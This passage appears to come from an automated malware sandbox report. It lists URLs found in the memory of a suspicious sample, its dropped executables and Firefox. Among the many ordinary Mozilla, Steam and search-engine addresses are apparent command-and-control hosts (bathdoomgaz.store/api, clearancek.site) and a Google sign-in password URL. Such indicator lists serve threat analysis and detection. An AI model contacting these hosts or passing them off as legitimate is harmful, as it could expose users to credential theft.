Source: firefox.exe, 00000015.00000003.2085311564.0000016C0DADD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 00000015.00000003.2071635151.0000016C0D879000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2206170906.0000016C0CE9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2236931650.0000016C7FEEA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2248707321.0000016C7FEEA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2071635151.0000016C0D8AC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2206826860.0000016C0CE32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2205425743.0000016C0D8A0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: firefox.exe, 00000018.00000003.2068703676.000002680803D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2066280480.000002680803D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.videolan.org/x264.html
Source: file.exe, 00000000.00000003.1803184428.00000000059BD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2549507609.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2682859541.00000000053B0000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2725419563.000000000537B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2788196494.000000000566D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1803184428.00000000059BD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2549507609.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2682859541.00000000053B0000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2725419563.000000000537B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2788196494.000000000566D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000015.00000003.2084425762.0000016C138C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://youtube.com/
Source: firefox.exe, 00000015.00000003.2015668492.0000016C08E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2014816814.0000016C08E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2015993176.0000016C08E77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2015268817.0000016C08E3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2014566656.0000016C0B100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000000.00000003.1743559424.00000000058E2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743645554.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743702980.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2505731166.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2506165018.0000000005C8F000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2623054878.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2621951442.00000000053B9000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2626470195.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2658235361.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2654866990.000000000538D000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2655476675.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2731188335.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2734913572.0000000005678000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000015.00000003.2202309346.0000016C0EAC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2242930006.0000016C0EAC4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 00000015.00000003.2257584927.0000016C13695000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2235596864.0000016C1368D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C1368D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.firefox.comK
Source: 4V88JM9ZW2IZ0ZQGW7B.exe, 00000006.00000002.2027215531.0000000001398000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2102012607.0000016C0DDF7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2098019208.0000016C0DD75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2098019208.0000016C0DDF7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2143536648.0000016C0DDF7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2139239853.0000016C0DDF7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2102012607.0000016C0DD53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2119541492.0000016C0CB22000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000015.00000003.2249656043.0000016C7FE6B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000015.00000003.2205722525.0000016C0CFAF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/
Source: firefox.exe, 00000015.00000003.2226611565.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2197587831.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/firefox/addon/enhancer-for-youtube/
Source: firefox.exe, 00000015.00000003.2226611565.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2197587831.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/firefox/addon/facebook-container/
Source: firefox.exe, 00000015.00000003.2226611565.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2197587831.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/firefox/addon/reddit-enhancement-suite/
Source: firefox.exe, 00000015.00000003.2226611565.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2197587831.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/firefox/addon/to-google-translate/
Source: firefox.exe, 00000015.00000003.2226611565.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2197587831.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/firefox/addon/wikipedia-context-menu-search/
Source: firefox.exe, 00000015.00000003.2068503924.0000016C139BE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 00000015.00000003.2084425762.0000016C138C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://amazon.com/
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://api.steampowered.com/
Source: firefox.exe, 00000015.00000003.2205325806.0000016C0DB0E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://app.adjust.com/167k4ih?campaign=firefox-desktop&adgroup=pb&creative=focus-omc172&redirect=ht
Source: firefox.exe, 00000015.00000003.2205325806.0000016C0DB0E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://app.adjust.com/a8bxj8j?campaign=firefox-desktop&adgroup=pb&creative=focus-omc172&redirect=ht
Source: firefox.exe, 00000015.00000003.2071339226.0000016C0DAD4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2085311564.0000016C0DAD4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 00000015.00000003.2204634484.0000016C0DE42000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/
Source: 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006D6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a61
Source: 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: 48bf814d33.exe, 00000025.00000003.2803470311.0000000000D05000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bathdoomgaz.store:443/api
Source: firefox.exe, 00000015.00000003.2196521682.0000016C7F5AD000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2723869326.000000000537A000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2714716292.0000000005374000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2717946351.0000000005374000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2742010534.00000000006E6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: firefox.exe, 00000015.00000003.2196521682.0000016C7F5AD000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2723869326.000000000537A000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2714716292.0000000005374000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2717946351.0000000005374000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2742010534.00000000006E6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: firefox.exe, 00000015.00000003.2203071437.0000016C0EAA2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 00000015.00000003.2201512476.0000016C1343E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 00000015.00000003.2201512476.0000016C1343E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 00000015.00000003.2201512476.0000016C1343E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 00000015.00000003.2201512476.0000016C1343E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: firefox.exe, 00000015.00000003.2212877729.0000016C0C8C8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1694699#c21
Source: file.exe, 00000000.00000003.1743559424.00000000058E2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743645554.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743702980.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2505731166.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2506165018.0000000005C8F000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2623054878.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2621951442.00000000053B9000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2626470195.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2658235361.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2654866990.000000000538D000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2655476675.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2731188335.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2734913572.0000000005678000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: file.exe, 00000000.00000003.1743559424.00000000058E2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743645554.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743702980.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2505731166.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2506165018.0000000005C8F000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2623054878.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2621951442.00000000053B9000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2626470195.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2658235361.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2654866990.000000000538D000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2655476675.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2731188335.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2734913572.0000000005678000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1743559424.00000000058E2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743645554.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743702980.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2505731166.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2506165018.0000000005C8F000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2623054878.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2621951442.00000000053B9000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2626470195.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2658235361.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2654866990.000000000538D000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2655476675.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2731188335.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2734913572.0000000005678000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://checkout.steampowered.com/
Source: 66c6d84346.exe, 00000024.00000002.2803946983.00000000006CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://clearancek.site/
Source: 9b7d422018.exe, 0000001B.00000003.2602087870.00000000013F3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.stea
Source: 9b7d422018.exe, 0000001B.00000003.2602087870.00000000013F3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.steams
Source: 9b7d422018.exe, 0000001F.00000003.2657819055.00000000006EA000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2650632814.00000000006E6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2659696835.00000000006EA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477576841.000000000135A000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000002.2803946983.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803470311.0000000000CFE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/css/applications/community/main.css?v=DVae4t4RZiHA&l=en
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781919198.000000000071B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/css/globalv2.css?v=dQy8Omh4p9PH&l=english
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/css/promo/summer2017/stickers.css?v=P8gOPraCSjV6&l=engl
Source: 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781919198.000000000071B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/css/skin_1/fatalerror.css?v=wctRWaBvNt2z&l=english
Source: file.exe, 00000000.00000003.1895523136.000000000114F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1907542760.000000000114D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622539528.00000000006A1000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781919198.000000000071B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/css/skin_1/header.css?v=pTvrRy1pm52p&l=english
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/css/skin_1/profilev2.css?v=t9xiI4DlPpEB&l=english
Source: 9b7d422018.exe, 0000001B.00000003.2503534834.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013E5000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477576841.000000000135A000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2503534834.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2602087870.00000000013F3000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000002.2803946983.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803470311.0000000000CFE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: file.exe, 00000000.00000003.1707367148.000000000114E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477576841.000000000135A000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/javascript/applications/community/libraries~b28b7af69.js?v=
